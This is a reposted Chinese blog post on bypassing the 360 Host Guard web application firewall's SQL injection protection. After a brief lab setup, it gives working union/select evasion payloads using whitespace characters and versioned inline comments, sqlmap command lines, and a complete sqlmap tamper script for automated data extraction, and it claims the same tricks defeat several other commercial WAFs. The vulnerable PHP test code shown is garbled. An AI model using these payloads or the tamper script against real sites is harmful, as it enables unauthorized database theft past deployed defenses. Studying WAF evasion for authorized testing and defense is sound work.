Bypass 360主机卫士SQL注入防御(附tamper脚本)
发布日期:2021-06-29 12:37:37 浏览次数:2 分类:技术文章

本文共 2080 字,大约阅读时间需要 6 分钟。

0x01 前言

  在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

0x02 环境搭建

Windows Server 2003+phpStudy

sql注入点测试代码:

sql.php

"; }echo "
";echo $query;mysql_close($con);?>

运行效果:

0x03 Bypass 过程

  对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

    1、完全bypass(union select+select from)

    2、部分bypass(union select 或select from)

    3、获取一些敏感信息(如version()、database()等)     

A、Union+select

        先考虑如何绕过union+select,可以考虑一下几种形式

    1、最常见形式 %20、+、/**/

    2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

    3、内联注释   /!12345select/

 通过组合测试,可以发现 union%0a/*!12345select*/ 1,2 可以绕过防御。

 B、select+from

  select+from 也可以通过同样的组合形式绕过防御。

  至此已完全绕过union+select+from。

0x04 自动化注入

编写tamper bypass脚本,来利用sqlmap来跑数据

先看一下原始sqlmap的效果:

sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

加载tamper脚本,可成功获取数据。

sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper脚本:

#!/usr/bin/env python"""write by Aaron"""from lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWdef dependencies():    passdef tamper(payload, **kwargs):    """    Replaces keywords    >>> tamper('UNION SELECT id FROM users')    'union%0a/*!12345select*/id%0a/*!12345from*/users'    """    if payload:        payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")        payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")        payload=payload.replace(" FROM ","%0a/*!12345from*/")        payload=payload.replace("CONCAT","CONCAT%23%0a")        payload=payload.replace("CASE ","CASE%23%0a")        payload=payload.replace("CAST(","/*!12345CASt(*/")        payload=payload.replace("DATABASE()","database%0a()")                    return payload

 这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

0x05 END

  最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。

  目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

  关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

 

转载地址:https://bypass.blog.csdn.net/article/details/81256026 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:FTP匿名访问修复方法
下一篇:Python爬虫学习笔记-2.Requests库

发表评论

最新留言

第一次来,支持一个
[***.219.124.196]2024年04月23日 16时04分45秒